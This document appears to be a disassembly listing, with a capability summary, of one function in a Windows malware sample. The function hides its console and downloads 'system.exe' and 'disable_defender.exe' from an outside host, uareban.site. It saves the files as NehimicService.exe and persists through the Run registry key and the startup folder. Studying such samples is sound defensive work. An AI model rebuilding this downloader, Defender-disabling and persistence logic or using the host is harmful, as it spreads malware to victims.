Function at 0x140001270
Capabilities:
Copy file
Download url
Get common file path
Get startup folder
Persist via run registry key
Receive data
Set registry value
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14005e020]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [0x14005a820]
lea rdx, str.http:__uareban.site_sys_system.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1400012e3
lea rcx, str.C:ProgramDataNehimicService.exe
call fcn.14000e5e0
jmp 0x1400012ee
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x38], rax
mov ecx, 0x10
call fcn.140001a90
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x50]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x70], 7
mov ecx, 0x50
call fcn.1400016f0
mov rcx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], 0x21
mov qword [rsp + 0x70], 0x27
movaps xmm0, xmmword [0x14005a820]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14005a830]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14005a840]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14005a850]
movups xmmword [rax + 0x30], xmm1
movzx eax, word [0x14005a860]
mov word [rcx + 0x40], ax
mov word [rcx + 0x42], si
mov qword [rsp + 0x40], rsi
lea r8, [rsp + 0x40]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x68]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.NehimicService
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140001453
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea r9, str._sNehimicService.exe
mov edx, 0x104
mov r8, 0xffffffffffffffff
lea rcx, [rbp + 0x190]
call fcn.140001040
xor r8d, r8d
lea rdx, [rbp + 0x190]
lea rcx, [0x14005a820]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [0x14005a8f0]
lea rdx, str.http:__uareban.site_sys_disable_defender.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x140001483
lea rcx, str.C:ProgramDataNehimicServace.exe
call fcn.14000e5e0
jmp 0x14000148e
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 3
lea rcx, [rsp + 0x4c]
call fcn.140001860
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400014c0
mov rax, qword [rcx + 8]
mov qword [rcx + 8], rsi
test rax, rax
je 0x1400014c0
mov qword [rax], rsi
mov rax, qword [rax + 8]
test rax, rax
jne 0x1400014b4
lea rcx, [rsp + 0x4c]
call fcn.140001940
mov rax, qword [rsp + 0x70]
cmp rax, 8
jb 0x14000154f
mov rdi, qword [rsp + 0x58]
lea rbx, [rax + 1]
test rdi, rdi
jne 0x140001543
test rbx, rbx
je 0x140001543
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
lea rax, [0x14005a664]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x3c7
lea rdx, [0x14005a670]
lea ecx, [rdi + 2]
call fcn.14000d660
cmp eax, 1
jne 0x14000151e
int3
mov qword [rsp + 0x20], rsi
mov r9d, 0x3c7
lea r8, str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.37.32822includexmemory
lea rdx, [0x14005a7a4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14000df60
lea rdx, [rbx + rbx]
mov rcx, rdi
call fcn.1400015a0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], si
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rsi
mov edx, 0x10
call fcn.1400015a0
xor eax, eax
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.140001a70
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret